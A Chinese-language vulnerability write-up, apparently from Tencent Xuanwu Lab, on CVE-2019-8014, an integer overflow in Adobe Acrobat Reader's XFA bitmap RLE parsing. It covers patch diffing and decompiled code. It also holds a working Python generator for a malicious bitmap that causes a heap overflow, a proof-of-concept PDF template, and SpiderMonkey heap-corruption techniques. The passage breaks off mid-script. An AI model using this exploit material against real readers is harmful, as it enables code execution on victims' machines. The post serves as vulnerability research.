腾讯安全玄武实验室 //xlab.tencent.com/cn Thu, 12 Sep 2019 06:08:38 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.1 深入分析Adobe忽略了6年的PDF漏洞 //xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/ Thu, 12 Sep 2019 03:56:43 +0000 //xlab.tencent.com/cn/?p=446 继续阅读“深入分析Adobe忽略了6年的PDF漏洞”]]> 本文详细分析了 Adobe Acrobat Reader / Pro DC 中近期修复的安全漏洞 CVE-2019-8014 。有趣的是,Adobe 在六年前修复了一个类似的漏洞 CVE-2013-2729 ,正是由于对该漏洞的修复不够完善,才使得 CVE-2019-8014 遗留了长达六年之久。本文同时讨论了如何为此类漏洞编写利用代码。

本文作者:Ke Liu of Tencent Security Xuanwu Lab

0x01. 漏洞简介

Adobe 在八月份为 Adobe Acrobat and Reader 发布了安全公告 APSB19-41 ,和往常一样,这次更新修复了大量漏洞。当笔者在 ZDI 上查看对应的漏洞公告时,目光迅速被 ZDI-19-725 / CVE-2019-8014 所吸引,因为模块 AcroForm 中 Bitmap 解析相关的漏洞非常少见。该漏洞在 ZDI 上的部分公告信息如下:

Adobe Acrobat Pro DC AcroForm Bitmap File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability

The specific flaw exists within the parsing of run length encoding in BMP images. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.

看描述这和六年之前修复的漏洞 CVE-2013-2729 非常相似——都和 XFA Bitmap Run Length Encoding 解析有关!实际上,两个漏洞之间确实有着千丝万缕的联系,本文将详细分析漏洞的原理以及两者之间的关系。

漏洞 CVE-2019-8014 在 ZDI 上的致谢信息为 ktkitty (https://ktkitty.github.io)

0x02. 环境搭建

根据官方公告 APSB19-41 的描述,该漏洞影响 2019.012.20035 以及更早版本的 Adobe Acrobat and Reader ,而不受影响的最新版本号为 2019.012.20036 。本文基于前者进行漏洞分析、基于后者进行补丁分析。

安装 Adobe Acrobat Reader DC 2019.012.20035 的步骤如下:

安装 Adobe Acrobat Reader DC 2019.012.20036 的步骤如下:

在调试环境中安装好软件后,记得禁用更新服务 Adobe Acrobat Update Service 或者直接断开网络连接,防止 Adobe Acrobat Reader DC 自动更新。

0x03. 位图简介

在进行漏洞分析之前,先简单介绍一下位图的结构。如果你对位图已经非常熟悉,那么可以直接跳过本小节内容。

3.1 相关结构

通常来说,位图文件由以下四部分构成:

  1. Bitmap File Header
  2. Bitmap Info Header
  3. RGBQUAD Array
  4. Bitmap Data

3.1.1 Bitmap File Header

结构体 BITMAPFILEHEADER 的定义如下:

typedef struct tagBITMAPFILEHEADER {
  WORD  bfType;         // 文件标记 'BM'
  DWORD bfSize;         // 位图文件的大小
  WORD  bfReserved1;    // 保留字段 0
  WORD  bfReserved2;    // 保留字段 0
  DWORD bfOffBits;      // 位图数据在文件中的偏移值
} BITMAPFILEHEADER, *LPBITMAPFILEHEADER, *PBITMAPFILEHEADER;

3.1.2 Bitmap Info Header

结构体 BITMAPINFOHEADER 的定义如下:

typedef struct tagBITMAPINFOHEADER {
  DWORD biSize;             // 结构体的大小
  LONG  biWidth;            // 位图宽度
  LONG  biHeight;           // 位图高度
  WORD  biPlanes;           // 必须为 1
  WORD  biBitCount;         // 每个像素所占用的位数
  DWORD biCompression;      // 压缩算法
  DWORD biSizeImage;        // 数据大小
  LONG  biXPelsPerMeter;    // 水平分辨率
  LONG  biYPelsPerMeter;    // 垂直分辨率
  DWORD biClrUsed;          // 色彩索引数
  DWORD biClrImportant;     // 必须的色彩索引数
} BITMAPINFOHEADER, *PBITMAPINFOHEADER;

这里成员 biCompression 指明了位图所使用的压缩算法,部分压缩算法的定义如下:

#define BI_RGB  0  // 未使用压缩算法
#define BI_RLE8 1  // RLE8 压缩算法
#define BI_RLE4 2  // RLE4 压缩算法
// 其他压缩算法...

3.1.3 RGBQUAD Array

结构体 RGBQUAD 描述一个像素的色彩组成,其定义如下:

typedef struct tagRGBQUAD {
  BYTE rgbBlue;
  BYTE rgbGreen;
  BYTE rgbRed;
  BYTE rgbReserved;
} RGBQUAD;

RGBQUAD Array 代表了一张色彩表,位图数据在解析之后可以是一个索引,索引在数组中对应的值便是该像素的色彩表示。该数组的长度取决于结构体 BITMAPINFOHEADER 中的 biBitCountbiClrUsed 成员的值。

3.1.4 Bitmap Data

位图的位数据,该部分数据的表现形式取决于位图所使用的压缩算法。

有一点需要注意的是:位图数据是从左下角往右上角方向进行填充的,即位图数据中解析出来的第一个像素的色彩,应当填充到位图的左下角 [wikipedia],随后依次填充当前行的像素,当前行填充完毕之后,往上移动一个像素继续以行位单位进行填充,直到位图填充完毕。

3.2 RLE 编码

位图支持两种类型的 RLE(Run Length Encoding)压缩算法:RLE4RLE8

3.2.1 RLE8 编码

RLE8 压缩算法用于压缩 8 位位图(即每个像素占用 1 字节空间)。RLE8 压缩后的数据可以处于 编码模式(Encoded Mode)绝对模式(Absolute Mode) 中的任意一种(两种模式在同一个位图中可以同时出现)。

编码模式 包含两字节数据:

  • 如果第一个字节不为零,其含义为第二个字节需要重复的次数
  • 如果第一个字节为零,那么第二个字节的可能含义如下
    • 0x00 表示当前行已经结束
    • 0x01 表示位图解析完毕
    • 0x02 表示接下来的两个字节 (deltaX, deltaY) 为当前坐标 (x, y) 需要移动的距离

绝对模式 中,第一个字节为零,第二个字节位于区间 [0x03, 0xFF] 。第二个字节表示接下来特定数量的字节是未压缩的数据(数据量需要按 WORD 对齐)。

下面为 RLE8 压缩之后的数据:

[03 04] [05 06] [00 03 45 56 67] [02 78] [00 02 05 01]
[02 78] [00 00] [09 1E] [00 01]

下面为解压之后的数据:

04 04 04
06 06 06 06 06
45 56 67
78 78
move current position 5 right and 1 up
78 78
end of line
1E 1E 1E 1E 1E 1E 1E 1E 1E
end of RLE bitmap

3.2.2 RLE4 编码

RLE4 压缩算法用于压缩 4 位位图(即每个像素占用半字节空间)。RLE4 压缩后的数据可以处于 编码模式(Encoded Mode)绝对模式(Absolute Mode) 中的任意一种(两种模式在同一个位图中可以同时出现)。

编码模式 包含两字节数据:

  • 如果第一个字节不为零,其含义为第二个字节展开后得到的像素个数
    • 第二个字节代表了两个像素的色彩索引
    • 高 4 位代表第一个像素的色彩索引
    • 低 4 位代表第二个像素的色彩索引
    • 二者依次交替重复,直到得到第一个字节指定的像素个数
  • 如果第一个字节为零,那么第二个字节的可能含义如下
    • 0x00 表示当前行已经结束
    • 0x01 表示位图解析完毕
    • 0x02 表示接下来的两个字节 (deltaX, deltaY) 为当前坐标 (x, y) 需要移动的距离

绝对模式 中,第一个字节为零,第二个字节位于区间 [0x03, 0xFF] 。第二个字节表示接下来特定数量的 半字节 是未压缩的数据(数据量需要按 WORD 对齐)。

下面为 RLE4 压缩之后的数据:

[03 04] [05 06] [00 06 45 56 67 00] [04 78] [00 02 05 01]
[04 78] [00 00] [09 1E] [00 01]

下面为解压之后的数据:

0 4 0
0 6 0 6 0
4 5 5 6 6 7
7 8 7 8
move current position 5 right and 1 up
7 8 7 8
end of line
1 E 1 E 1 E 1 E 1
end of RLE bitmap

0x04. 漏洞分析

4.1 代码定位

根据 ZDI 网站上的公告信息,可知漏洞位于 AcroForm 模块。该模块是 Adobe Acrobat Reader DC 中负责处理 XFA 表单 的插件,其路径如下:

%PROGRAMFILES(X86)%\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api

通常来说,借助 BinDiff 进行补丁对比分析可以快速定位到有漏洞的函数,但如果新旧版本的二进制文件变动比较大的话就不太好处理了,模块 AcroForm.api 的情况便是如此:通过对比发现有大量函数进行了改动,一个一个去看显然不太现实。

笔者用于定位漏洞函数的方法如下(以 2019.012.20035 为例):

  1. IDA 中搜索字符串 PNG ,在 .rdata:20F9A374 找到一处定义
  2. 20F9A374 进行交叉引用查找,定位到函数 sub_20CF3A3F
  3. 很显然函数 sub_20CF3A3F 负责判断图片的类型(从这里也可以看出 XFA 表单所支持的图片格式类型)
  4. sub_20CF3A3F 进行交叉引用查找,定位到函数 sub_20CF4BE8
  5. 函数 sub_20CF4BE8 根据图片的类型调用不同的处理函数
  6. 函数 sub_20CF4870(跳转自 sub_20CF3E5F)负责处理 BMP 位图

在 BinDiff 的结果中可以看到,函数 sub_20CF3E5F 中确实有几个基本块发生了变动,比如 20CF440F 处的基本块的变动情况如下:

// 20CF440F in AcroForm 2019.012.20035
if ( v131 >= v26 || (unsigned __int8)v127 + v43 > v123 )
  goto LABEL_170;

// 20CF501F in AcroForm 2019.012.20036
v56 = (unsigned __int8)v130 + v43;
if ( v134 >= v26 || v56 > v126 || v56 < v43 || v56 < (unsigned __int8)v130 )
  goto LABEL_176;

很明显,这里增加了对整数溢出的判断。

4.2 漏洞分析

好在网上已经有了针对 CVE-2013-2729 的详细分析报告(参考 feliam’s write up for CVE-2013-2729),基于此可以快速理解函数 sub_20CF3E5F 中相关代码的含义。

4.2.1 RLE8 解析

函数 sub_20CF3E5F 中负责解析 RLE8 压缩数据的部分代码如下:

if ( bmih.biCompression == 1 )  // RLE8 算法
{
  xpos = 0;                     // unsigned int, 从左往右
  ypos = bmih.biHeight - 1;     // unsigned int, 从下往上
  bitmap_ends = 0;
  result = fn_feof(v1[2]);
  if ( !result )
  {
    do
    {
      if ( bitmap_ends )
        return result;
      fn_read_bytes(v1[2], &cmd, 2u);           // 读取 2 字节数据
      if ( (_BYTE)cmd )                         // 第一个字节不为零
      {                                         // 表示有压缩数据等待处理
        // 20CF440F 变动的基本块之一
        if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
          goto LABEL_170;                       // CxxThrowException
        index = 0;
        if ( (_BYTE)cmd )
        {
          do
          {
            line = (_BYTE *)fn_get_scanline(v1[3], ypos);
            line[xpos++] = BYTE1(cmd);
            ++index;
          }
          while ( index < (unsigned __int8)cmd ); // 展开数据
        }
      }
      else if ( BYTE1(cmd) )        // 第一字节为零且第二字节不为零
      {
        if ( BYTE1(cmd) == 1 )      // 位图结束
        {
          bitmap_ends = 1;
        }
        else if ( BYTE1(cmd) == 2 ) // delta 数据
        {
          fn_read_bytes(v1[2], &xdelta, 1u);
          fn_read_bytes(v1[2], &ydelta, 1u);
          xpos += xdelta;           // 向右移动
          ypos -= ydelta;           // 向上移动
        }
        else                        // 未压缩数据
        {
          dst_xpos = BYTE1(cmd) + xpos;
          if ( ypos >= height || dst_xpos < xpos || 
               dst_xpos < BYTE1(cmd) || dst_xpos > width )  // 整数溢出检查
            goto LABEL_170;         // CxxThrowException
          index = 0;
          if ( BYTE1(cmd) )
          {
            do
            {
              fn_read_bytes(v1[2], &value, 1u);
              line = (_BYTE *)fn_get_scanline(v1[3], ypos);
              line[xpos++] = value;
              count = BYTE1(cmd);
              ++index;
            }
            while ( index < BYTE1(cmd) );   // 读取未压缩数据
          }
          if ( count & 1 )                  // 数据对齐
            fn_read_bytes(v1[2], &value, 1u);
        }
      }
      else                                  // 当前行结束
      {
        --ypos;                             // 从下往上移动一行
        xpos = 0;                           // 移动到行的起点
      }
      result = fn_feof(v1[2]);
    }
    while ( !result );
  }
}

基于前面的补丁分析,很明显下面的 if 语句中存在整数溢出:

// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                       // CxxThrowException

// 20CF501F AcroForm 2019.012.20036 中修复的基本块
dst_xpos = (unsigned __int8)cmd + xpos;
if ( ypos >= height || dst_xpos > width || 
     dst_xpos < xpos || dst_xpos < (unsigned __int8)cmd )
  goto LABEL_176;

这里在计算 (unsigned __int8)cmd + xpos 时可能导致整数溢出,且其中两个变量的值都可以被控制。在解析特定的 RLE8 数据时,如果触发这里的整数溢出,后续便可以实现堆块越界写。

  • 变量 (unsigned __int8)cmd 的值是可以直接控制的,其取值范围为 [1, 255]
fn_read_bytes(v1[2], &cmd, 2u);           // 读取 2 字节数据
  • 变量 xpos 的值也是可以直接控制的,只需要在 编码模式 中布局大量 delta 命令即可使得 xpos 的值接近 0xFFFFFFFF
else if ( BYTE1(cmd) == 2 ) // delta
{
  fn_read_bytes(v1[2], &xdelta, 1u);
  fn_read_bytes(v1[2], &ydelta, 1u);
  xpos += xdelta;           // 向右移动, xdelta 取值范围为 [0, 255]
  ypos -= ydelta;           // 向上移动
}
  • 因为 xpos 非常大(有符号表示为负数),因此在处理 RLE8 压缩数据时可以实现堆块越界写(往低地址方向越界写),并且写的数据也是完全可控的,只不过所有数据都必须是同样的值
index = 0;
do
{
  line = (_BYTE *)fn_get_scanline(v1[3], ypos);
  line[xpos++] = BYTE1(cmd);            // 可控数据实现堆块越界写
  ++index;
}
while ( index < (unsigned __int8)cmd ); // 解压数据

4.2.2 RLE4 解析

函数 sub_20CF3E5F 中负责解析 RLE4 压缩数据的部分代码如下(实现 RLE4 解压的代码比 RLE8 解压的代码稍微复杂一点,因为数据单位不再是一个字节,而是半个字节):

if ( bmih.biCompression == 2 )  // RLE4 算法
{
  xpos = 0;                     // unsigned int, 从左往右
  ypos = bmih.biHeight - 1;     // unsigned int, 从下往上
  bitmap_ends = 0;
  odd_index_ = 0;
  if ( !fn_feof(v1[2]) )
  {
    do
    {
      if ( bitmap_ends )
        return result;
      fn_read_bytes(v1[2], &cmd, 2u);       // 读取 2 字节数据
      if ( (_BYTE)cmd )                     // 第一个字节不为零
      {                                     // 表示有压缩数据等待处理
        high_4bits = BYTE1(cmd) >> 4;       // 高 4 位数据
        low_4bits = BYTE1(cmd) & 0xF;       // 低 4 位数据
        // 20CF45F8 变动的基本块之一
        if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
          goto LABEL_170;                   // CxxThrowException
        index = 0;
        if ( (_BYTE)cmd )
        {
          xpos_ = odd_index_;
          do
          {
            byte_slot = xpos_ >> 1;
            odd_index = index & 1;
            line = fn_get_scanline(v1[3], ypos);
            _4bits = high_4bits;            // 偶数索引 -> 高 4 位数据
            if ( odd_index )                // 奇数索引 -> 低 4 位数据
              _4bits = low_4bits;
            if ( xpos_ & 1 )                // xpos 为奇数, 存入已有字节
            {
              line[byte_slot] |= _4bits;
            }
            else                            // xpos 为偶数, 存入新的字节
            {
              line[byte_slot] = 16 * _4bits;
            }
            ++xpos_;
            index = index + 1;
          }
          while ( index < (unsigned __int8)cmd );
          odd_index_ = xpos_;
          xpos = odd_index_;
        }
      }
      else if ( BYTE1(cmd) )                // 第一字节为零且第二字节不为零
      {
        if ( BYTE1(cmd) == 1 )              // 位图结束
        {
          bitmap_ends = 1;
        }
        else if ( BYTE1(cmd) == 2 )         // delta 数据
        {
          fn_read_bytes((_DWORD *)v1[2], &xdelta, 1u);
          fn_read_bytes((_DWORD *)v1[2], &ydelta, 1u);
          xpos += xdelta;                   // 向右移动
          ypos -= ydelta;                   // 向上移动
          odd_index_ = xpos;
        }
        else
        {
          // 20CF44EA 变动的基本块之一
          if ( ypos >= height || BYTE1(cmd) + xpos > width )
            goto LABEL_170;                 // CxxThrowException
          index = 0;
          odd_index = 0;
          if ( BYTE1(cmd) )                 // 未压缩数据
          {
            xpos_ = odd_index_;
            do
            {
              odd_index_ = index & 1;
              if ( !(index & 1) )           // 读取 1 字节数据
              {
                fn_read_bytes((_DWORD *)v1[2], &value, 1u);
                low_4bits_ = value & 0xF;   // 低 4 位数据
                high_4bits_ = value >> 4;   // 高 4 位数据
              }
              byte_slot = xpos_ >> 1;
              line = fn_get_scanline(v1[3], ypos);
              _4bits = high_4bits_;
              if ( odd_index_ )
                _4bits = low_4bits_;
              if ( xpos_ & 1 )
              {
                line[byte_slot] |= _4bits;
              }
              else
              {
                line[byte_slot] = 16 * _4bits;
              }
              ++xpos_;
              count = BYTE1(cmd);
              not_ended = odd_index++ + 1 < BYTE1(cmd);
              index = odd_index;
            }
            while ( not_ended );
            odd_index_ = xpos_;
            xpos = odd_index_;
          }
          if ( (count & 3u) - 1 <= 1 )      // 数据对齐
            fn_read_bytes(v1[2], &value, 1u);
        }
      }
      else                                  // 当前行结束
      {
        --ypos;                             // 从下往上移动一行
        xpos = 0;                           // 移动到行的起点
        odd_index_ = 0;
      }
      result = fn_feof((_DWORD *)v1[2]);
    }
    while ( !result );
  }
}

这里在两个位置可以触发整数溢出,其中一处位于处理压缩数据的过程中:

high_4bits = BYTE1(cmd) >> 4;       // 高 4 位数据
low_4bits = BYTE1(cmd) & 0xF;       // 低 4 位数据
// 20CF45F8 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                   // CxxThrowException

另一处位于处理未压缩数据的过程中:

// 20CF44EA 变动的基本块之一
if ( ypos >= height || BYTE1(cmd) + xpos > width )
  goto LABEL_170;                 // CxxThrowException

0x05. 漏洞利用

5.1 溢出目标

前面提到在解析 RLE 数据时发现了 3 个溢出点,这里选择其中相对容易写利用的溢出点来触发漏洞:位于 RLE8 数据解析过程中的一处整数溢出。

RLE4 数据解析过程中存在的两处溢出点很难实现稳定利用,因为在向扫描线填充像素数据时,偏移值为 xpos 的值除以 2 ,此时偏移值最大可以是 0xFFFFFFFF / 2 = 0x7FFFFFFF ,也就意味着仅能向高地址方向实现堆块越界写,而且这个地址上具体是什么数据很难控制。

而 RLE8 数据解析过程中存在的溢出点就相对好控制一些,因为在向扫描线填充像素数据时,偏移值就是 xpos 本身,这样就可以向低地址方向实现堆块越界写,而且越界写的范围在一定程度上也是可控的。在下面的代码中,(unsigned __int8)cmd 的最大值可以是 0xFF ,为了绕过 if 语句中的条件检查,xpos 的最小值是 0xFFFFFF01 (在有符号类型下表示为 -255)。这也就意味着最大可以向低地址方向越界写 0xFF 字节的数据。

// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                       // CxxThrowException

但需要注意的是,用于越界写的数据必须是一样的,即只能是同一个字节。这会给漏洞利用带来一些额外的问题,后续会对此进行详细讨论。

index = 0;
do
{
  line = (_BYTE *)fn_get_scanline(v1[3], ypos);
  line[xpos++] = BYTE1(cmd);
  ++index;
}
while ( index < (unsigned __int8)cmd );

5.2 SpiderMonkey 基础知识

Adobe Acrobat Reader DC 所使用的 JavaScript 引擎为 SpiderMonkey ,在编写利用代码之前,先简单介绍一下相关的基础知识。

5.2.1 ArrayBuffer

ArrayBuffer 而言,当 byteLength 的大小超过 0x68 时,其底层数据存储区(backing store)所在的堆块将通过系统堆申请(ucrtbase!calloc);当 byteLength 的大小小于等于 0x68 时,堆块从 SpiderMonkey 的私有堆 tenured heap 申请。同时,当 backing store 独立申请堆块时,需要额外申请 0x10 字节的空间用于存储 ObjectElements 对象。

class ObjectElements {
 public:
  uint32_t flags;               // 可以是任意值,通常为 0
  uint32_t initializedLength;   // byteLength
  uint32_t capacity;            // view 对象指针
  uint32_t length;              // 可以是任意值,通常为 0
 // ......
};

ArrayBuffer 而言,这里 ObjectElements 的各个成员的名字是没有意义的(因为本来是为 Array 准备的),这里第二个成员 initializedLength 存储 byteLength 的值,第三个成员 capacity 存储关联的 DataView 对象的指针,其他成员可以是任意值。

在 Adobe Acrobat Reader DC 中执行下面的 JavaScript 代码:

var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x41424344, true);

ArrayBuffer 对象的 backing store 的内存布局如下:

;            -, byteLength, viewobj,       -,
34d54f80  00000000 00000070 2458f608 00000000
;         data
34d54f90  41424344 00000000 00000000 00000000
34d54fa0  00000000 00000000 00000000 00000000
34d54fb0  00000000 00000000 00000000 00000000
34d54fc0  00000000 00000000 00000000 00000000
34d54fd0  00000000 00000000 00000000 00000000
34d54fe0  00000000 00000000 00000000 00000000
34d54ff0  00000000 00000000 00000000 00000000

在漏洞利用过程中,如果可以更改 ArrayBuffer 对象的 byteLength 为一个更大的值,那么就可以基于 ArrayBuffer 对象实现越界读写了。不过需要注意后面的 4 字节数据要么为零,要么指向一个 合法DataView 对象,否则进程会立刻崩溃。

5.2.2 Array

Array 而言,当 length 的大小超过 14 时,其底层元素存储区所在的堆块将通过系统堆申请(ucrtbase!calloc);当 length 的大小小于等于 14 时,堆块从 SpiderMonkey 的私有堆 nursery heap 申请。和 ArrayBuffer 一样,当底层元素存储区独立申请堆块时,需要额外申请 0x10 字节的空间用于存储 ObjectElements 对象。

class ObjectElements {
 public:
  // The NumShiftedElementsBits high bits of this are used to store the
  // number of shifted elements, the other bits are available for the flags.
  // See Flags enum above.
  uint32_t flags;

  /*
   * Number of initialized elements. This is <= the capacity, and for arrays
   * is <= the length. Memory for elements above the initialized length is
   * uninitialized, but values between the initialized length and the proper
   * length are conceptually holes.
   */
  uint32_t initializedLength;

  /* Number of allocated slots. */
  uint32_t capacity;

  /* 'length' property of array objects, unused for other objects. */
  uint32_t length;
 // ......
};

在 Adobe Acrobat Reader DC 中执行下面的 JavaScript 代码:

var array = new Array(15);
array[0] = array[array.length - 1] = 0x41424344;

Array 对象元素存储区的内存布局如下:

0:010> dd 34cb0f88-10 L90/4
34cb0f78  00000000 0000000f 0000000f 0000000f
34cb0f88  41424344 ffffff81 00000000 ffffff84 ; [0], [1]
34cb0f98  00000000 ffffff84 00000000 ffffff84
34cb0fa8  00000000 ffffff84 00000000 ffffff84
34cb0fb8  00000000 ffffff84 00000000 ffffff84
34cb0fc8  00000000 ffffff84 00000000 ffffff84
34cb0fd8  00000000 ffffff84 00000000 ffffff84
34cb0fe8  00000000 ffffff84 00000000 ffffff84
34cb0ff8  41424344 ffffff81 ???????? ???????? ; [14]

这里 array[0]array[14] 的值都是 41424344 ffffff81 ,其中标签 0xFFFFFF81 表示元素的类型为 INT32 。而 array[1]array[13] 之间的所有元素都被填充为 00000000 ffffff84 ,表示这些元素当前是未定义的(即 undefined )。

Array 而言,如果可以通过触发漏洞更改 capacitylength 的值,那么就可以实现越界写操作:仅仅是越界写,因为 initializedLength 不变的话越界读取的元素全部为 undefined ,同时一旦进行越界写操作,initializedLength 之后到越界写之前的所有元素都会被填充为 00000000 ffffff84 ,控制不好的话很容导致进程崩溃。

那么如果同时更改 initializedLength 呢?理论上问题不大,不过对于本文所讨论的漏洞而言不适用,因为 initializedLength 的值会被改成非常大的值(四字节全部为相同的数据),而在 GC 过程中数组的所有元素都会被扫描,进程会因为访问到不可访问的内存页而崩溃。

5.2.3 JSObject

在 SpiderMonkey 中,所有 JavaScript 对象的类都继承自 JSObject ,后者又继承自 ObjectImpl ,相关定义如下:

class ObjectImpl : public gc::Cell {
  protected:
    HeapPtrShape shape_;
    HeapPtrTypeObject type_;
    HeapSlot *slots;
    HeapSlot *elements;
  // ......
};

struct JSObject : public js::ObjectImpl {}

对某些对象(比如 DataView )而言, elements 的值是没有意义的,因此会指向一个静态全局变量 emptyElementsHeader ,读取这些对象的 elements 的值可以用于泄露 JavaScript 引擎模块的基地址。

static ObjectElements emptyElementsHeader(0, 0);

/* Objects with no elements share one empty set of elements. */
HeapSlot *js::emptyObjectElements =
    reinterpret_cast<HeapSlot *>(uintptr_t(&emptyElementsHeader) + 
    sizeof(ObjectElements));

5.3 位图构造

如下 Python 代码可以用于创建 RLE 类型的位图文件(可以指定各种参数以及位图数据):

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os
import sys
import struct

RLE8 = 1
RLE4 = 2
COMPRESSION = RLE8
BIT_COUNT = 8
CLR_USED = 1 << BIT_COUNT
WIDTH = 0xF0
HEIGHT = 1

def get_bitmap_file_header(file_size, bits_offset):
    return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)

def get_bitmap_info_header(data_size):
    return struct.pack('<IIIHHIIIIII',
        0x00000028,
        WIDTH,
        HEIGHT,
        0x0001,
        BIT_COUNT,
        COMPRESSION,
        data_size,
        0x00000000,
        0x00000000,
        CLR_USED,
        0x00000000)

def get_bitmap_info_colors():
    # B, G, R, Reserved
    rgb_quad = '\x00\x00\xFF\x00'
    return rgb_quad * CLR_USED

def get_bitmap_data():
    # set ypos to 0 so that we'll be at the beginning of the heap buffer
    # ypos = (HEIGHT - 1) = 0, no need to bother

    # set xpos to 0xFFFFFF00
    data = '\x00\x02\xFF\x00' * (0xFFFFFF00 / 0xFF)
    # set xpos to 0xFFFFFF0C
    data += '\x00\x02\x0C\x00'

    # 0xFFFFFF0C + 0xF4 = 0
    # 0xF4 bytes of 0x10
    data += '\xF4\x10'

    # mark end of bitmap to skip CxxThrowException
    data += '\x00\x01'

    return data

def generate_bitmap(filepath):
    data = get_bitmap_data()
    data_size = len(data)

    bmi_header = get_bitmap_info_header(data_size)
    bmi_colors = get_bitmap_info_colors()

    bmf_header_size = 0x0E
    bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
    file_size = bits_offset + data_size
    bmf_header = get_bitmap_file_header(file_size, bits_offset)
    with open(filepath, 'wb') as f:
        f.write(bmf_header)
        f.write(bmi_header)
        f.write(bmi_colors)
        f.write(data)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
        sys.exit(1)
    generate_bitmap(sys.argv[1])

这里直接创建一个 RLE8 位图文件,相关参数如下:

  • 宽度为 0xF0
  • 高度为 1
  • 位数为 8

对该位图而言,用于存储位图数据的堆块的大小将会是 0xF0 ,而函数 get_bitmap_data 中指定的位图数据将使得我们可以向低地址方向越界写 0xF4 字节的数据,其中数据全部为 0x10

5.4 PDF 构造

下面是一个 PDF 模板文件的内容,该模板后续将用于生成 POC 文件。

%PDF-1.7
1 0 obj
<<
    /Type /Catalog
    /AcroForm 5 0 R
    /Pages 2 0 R
    /NeedsRendering true
    /Extensions
    <<
        /ADBE
        <<
            /ExtensionLevel 3
            /BaseVersion /1.7
        >>
    >>
>>
endobj
2 0 obj
<<
    /Type /Pages
    /Kids [3 0 R]
    /Count 1
>>
endobj
3 0 obj
<<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    /Resources
    <<
        /Font
        <<
            /F1
            <<
                /BaseFont /Helvetica
                /Subtype /Type1
                /Name /F1
            >>
        >>
    >>
>>
endobj
4 0 obj
<<
    /Length 104
>>
stream
BT
/F1 12 Tf
90 692 Td
(If you see this page, it means that your PDF reader does not support XFA.) Tj
ET
endstream
endobj
5 0 obj
<<
    /XFA 6 0 R
>>
endobj
6 0 obj
<<
    /Filter /FlateDecode
    /Length __STREAM_LENGTH__
>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
    <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
      <pageSet>
        <pageArea name="Page1" id="Page1">
          <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
          <medium stock="default" short="612pt" long="792pt"/>
        </pageArea>
      </pageSet>
      <subform w="576pt" h="756pt">
        <field name="ImageCrash">
          <ui>
            <imageEdit/>
          </ui>
          <value>
            <image aspect="actual" contentType="image/bmp">
__IMAGE_BASE64_DATA__
            </image>
          </value>
        </field>
      </subform>
      <event activity="initialize" name="event__initialize">
        <script contentType="application/x-javascript">
// The JavaScript code will be executed before triggering the vulnerability
        </script>
      </event>
      <event activity="docReady" ref="$host" name="event__docReady">
        <script contentType="application/x-javascript">
// The JavaScript code will be executed after triggering the vulnerability
        </script>
      </event>
    </subform>
  </template>
  <config xmlns="http://www.xfa.org/schema/xci/3.0/">
    <agent name="designer">
      <!--  [0..n]  -->
      <destination>pdf</destination>
      <pdf>
        <!--  [0..n]  -->
        <fontInfo/>
      </pdf>
    </agent>
    <present>
      <!--  [0..n]  -->
      <pdf>
        <!--  [0..n]  -->
        <version>1.7</version>
        <adobeExtensionLevel>5</adobeExtensionLevel>
      </pdf>
      <common/>
      <xdp>
        <packets>*</packets>
      </xdp>
    </present>
  </config>
  <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <xfa:data xfa:dataNode="dataGroup"/>
  </xfa:datasets>
  <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
    <annots/>
  </xfdf>
</xdp:xdp>
endstream
endobj
xref
0 7
0000000000 65535 f 
0000000009 00000 n 
0000000237 00000 n 
0000000306 00000 n 
0000000587 00000 n 
0000000746 00000 n 
0000000782 00000 n 
trailer
<<
    /Root 1 0 R
    /Size 7
>>
startxref
__XREF_OFFSET__
%%EOF

为了触发整数溢出,前面构造的位图文件的大小将超过 60MB ,而且在嵌入 XFA 表单时,需要对其进行 Base64 编码,这会使得生成的 PDF 文件相当大。为了压缩 PDF 文件的大小,可以给对象 6 0 obj 指定一个 Filter (这里为 FlateDecode )以便压缩对象的数据,因为数据比较规律,所以压缩率还是相当可观的。

为了实现漏洞利用,需要在触发漏洞前完成内存布局、在触发漏洞后完成后续利用步骤,而这些操作都需要借助执行 JavaScript 代码来完成,因此需要在不同的时间点执行不同的 JavaScript 代码,这可以通过给 subforminitialize 事件和 docReady 事件设置事件处理代码来完成。

下面的 Python 代码可以用于生成 PDF 文件:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os
import sys
import zlib
import base64

def parse_template(template_path):
    with open(template_path, 'rb') as f:
        data = f.read()
    xdp_begin = data.find('<xdp:xdp')
    xdp_end = data.find('</xdp:xdp>') + len('</xdp:xdp>')

    part1 = data[:xdp_begin]
    part2 = data[xdp_begin:xdp_end]
    part3 = data[xdp_end:]
    return part1, part2, part3

def generate_pdf(image_path, template_path, pdf_path):
    pdf_part1, pdf_part2, pdf_part3 = parse_template(template_path)

    with open(image_path, 'rb') as f:
        image_data = base64.b64encode(f.read())
    pdf_part2 = pdf_part2.replace('__IMAGE_BASE64_DATA__', image_data)
    pdf_part2 = zlib.compress(pdf_part2)

